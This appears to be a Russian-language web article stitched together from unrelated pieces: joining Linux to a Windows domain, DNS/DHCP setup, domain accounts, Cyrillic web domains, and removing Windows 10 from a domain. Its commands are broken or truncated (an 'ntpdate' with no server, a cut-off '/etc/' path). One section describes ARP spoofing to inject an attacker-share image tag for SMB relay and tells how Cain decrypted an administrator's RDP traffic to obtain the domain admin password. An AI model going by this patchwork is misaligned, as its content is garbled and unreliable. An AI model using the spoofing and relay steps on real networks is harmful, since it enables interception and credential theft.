Атаки на домен: завладеваем корпоративной сетью

Зачастую возникает необходимость ввести Linux-машину в существующий домен Windows. Например, чтобы сделать файловый сервер с помощью Samba. Сделать это очень просто, для этого вам понадобятся клиент Kerberos, Samba и Winbind.

Настройка синхронизации времени

Далее необходимо настроить синхронизацию времени с доменконтроллером. Если разница будет более 5 минут мы не сможем получить лист от Kerberos. Для единовременной синхронизации можно воспользоваться командой:

sudo net time set dc

Если в сети существует сервер точного времени, то можно воспользоваться им или любым публичным:

ntpdate

Автоматическая же синхронизация настраивается с помощью ntpd, это демон будет периодически выполнять синхронизацию. Для начала его необходимо установить:

sudo aptitude install ntp

Теперь исправьте файл /etc/, добавив в него информацию о вашем сервере времени:

# You do need to talk to an NTP server or two (or three). server

После чего перезапустите демон ntpd:

sudo /etc/init.d/ntp restart

Теперь пора настраивать непосредственно взаимодействие с доменом.

Установка DNS и DHCP

Устанавливаем DNS  и если нужно, то DHCP на новый сервер. Заходим в Установку и удаление программ (Add or Remove Programs) и выбираем пункт установка компонентов Windows (Add/Remove Windows Components). В разделе Сетевые службы (Network Services) ставим галочки напротив DNS и DHCP и устанавливаем их.

Вполне вероятно что при установке AD, заодно поставился и DNS, поэтому не пугайтесь если DNS уже установлен.

Установка DNS и DHCP

На обоих контроллерах домена выставляем в настройках DNS, адрес нового сервера.

Читайте также:  Как завершить собственный удаленный RDP сеанс в Windows?

Что такое учетная запись пользователя домена?

В отличие от персонального компьютера, подключенный к домену ПК не использует локальные учетные записи

, Вместо этого контроллер домена управляет логинами. Используя Microsoft Active Directory, программное обеспечение для управления пользователями, сетевые администраторы могут легко создавать новых пользователей и отключать старых. Они также могут добавлять пользователей в определенные группы, чтобы разрешить доступ к частным папкам сервера.

С помощью доменной учетной записи вы можете войти на любой компьютер в домене. Вы начнете с новой учетной записи на этом компьютере, но это позволит вам использовать любой компьютер в вашей компании при необходимости. Благодаря учетным записям домена бывшие сотрудники не могут войти в систему. Если они попытаются войти со своим старым паролем, они увидят сообщение, что им отказано в доступе.

Экран входа в Windows выглядит немного иначе, когда вы используете компьютер, подключенный к домену. Вместо локального имени пользователя вам необходимо убедиться, что вы входите в домен под своим именем пользователя. Таким образом, ваш логин будет выглядеть примерно так MyDomain \ StegnerB01.

Домен на кириллице

Кириллические домены появились только в 2010 году и стали трендовыми. Особенно для сайтов, работающих для русскоязычной ЦА.

Плюсы:

  • Русскоязычным пользователям такой домен понятен, легко запоминается;
  • Имена на кириллице не сильно развиты, поэтому удастся зарегистрировать короткий и уникальный домен.

Минусы:

  • После копирования и вставки кириллические домены выглядят нечитабельным и непонятным набором цифр, символов и букв;
  • Из-за предыдущего недостатка есть риск дублирования при перелинковке и битых ссылок.
Читайте также:  Как обновить windows 10 enterprise до pro

Кириллические доменные имена могут стать хорошим дополнением во время формирования пиар-кампании. Если домен зарегистрирован и на латинице, и на русском, то при вводе пользователем имени сайта на русском языке, поисковая система автоматически перенаправит его на этот же сайт с латински доменом.

Простые атаки или ARP-SPOOFING

Нельзя не упомянуть и про старый добрый ARP-SPOOFING в контексте захвата домена. Атака основана на флуде ARP-ответов для хостов «А» и «Б» с хоста «В». Хосту «А» посылаются пакеты с утверждением, что IP-адрес «Б» принадлежит машине с маком «В». Хосту «Б» посылаются пакеты с утверждением, что IP-адрес «А» принадлежит машине с маком «В». Таким образом все пакеты идут на хост «В», который их потом пересылает по назначению. Простое описание классической атаки «человек посередине». Функционал полностью присутствует в Cain&Abel и Ettercap. В контексте предыдущих тем можно сделать такое западло: вычислить админа (трансфер зоны DNS), вычислить прокси-сервер или шлюз, устроить ARP-SPOOFING и добавить в HTML-код пакета ответа от сервера к админу (в случае, если админ пошел на какой-нибуть веб-сайт) строчку вида <img src=»\attackershara»>. То есть выполнить SMB-RELAY атаку. Для этого нужно помучаться с Ettercap, но можно поступить и проще — поднять у себя веб-сервер с SMB-RELAY модулем.

Но это еще не все. Однажды мы делали внутренний пентест небольшой сетки, где все патчено-перепатчено, и пароли были очень стойкие, а больше там ломать-то было и нечего. Так как сетка маленькая, то сервера и рабочки были в одном сегменте — радость для любого ARP-флудера. По ДНС был вычислен админ и сервер терминалов. Начался спуфинг, и тут выяснилось, что один из админов использует старую версию протокола RDP, а как немногим известно — протокол версии меньше, чем шестая, уязвим к атаке «человек посередине». Таким образом, Cain расшифровал RDP-трафик админа на сервер терминала. А с помощью тулзы для парсинга логов Cain’а был получен пароль админа домена. Такие вот истории…

Исключение из домена Windows и Windows Server 2016

Данный метод, будет подходить исключительно для последних версий систем Windows 10 и Windows Server 2016, на момент написания статьи. В случае с десяткой, где интерфейс кардинально меняется от версии к версии, последовательность действий будет разниться.

Исключение из домена Windows и Windows Server 2016

Метод вывода для Windows 10 версий 1503-1511

Исключение из домена Windows и Windows Server 2016

Данный метод для Windows 10 Threshold и Threshold 2. Если не знаете, какая у вас версия, то вот вам статья, как определить версию Windows. Вам необходимо открыть параметры системы, делается, это либо через кнопку "Пуск" или же сочетанием клавиш WIN и I одновременно. Находим там пункт "Система".

Исключение из домена Windows и Windows Server 2016

В самом низу находим пункт "О Системе" и видим кнопку "Отключиться от организации", нажимаем ее.

Исключение из домена Windows и Windows Server 2016

В окне "Отключение от организации" просто нажмите продолжить.

Исключение из домена Windows и Windows Server 2016

У вас просто появится окно с предложением о перезагрузке, соглашаемся.

Исключение из домена Windows и Windows Server 2016

В оснастке ADUC данный компьютер так же был отключен.

Исключение из домена Windows и Windows Server 2016

Метод вывода для Windows 10 версий 1607 и выше

Исключение из домена Windows и Windows Server 2016

Данный метод будет рассмотрен для версии Windows 10 1803, так как я писал, что концепция изменилась, функционал перенесли в другое место. Вы все так же открываете "Параметры Windows 10", но уже переходите в пункт "Учетные записи"

Исключение из домена Windows и Windows Server 2016

Далее находите пункт "Доступ к учетной записи места работы или учебного заведения" и нажимаете отключиться.

Исключение из домена Windows и Windows Server 2016

У вас выскочит окно с уведомлением:

Исключение из домена Windows и Windows Server 2016

После подтверждения, у вас появится еще одно окно, в котором вас еще раз уведомят и захотят удостовериться в ваших действиях.

Нажимаем кнопку "Отключить"

Открыв оснастку ADUC, я обратил внимание, что учетная запись компьютера, которого я вывел из домена, не отключилась, что очень странно, поэтому сделайте это в ручную.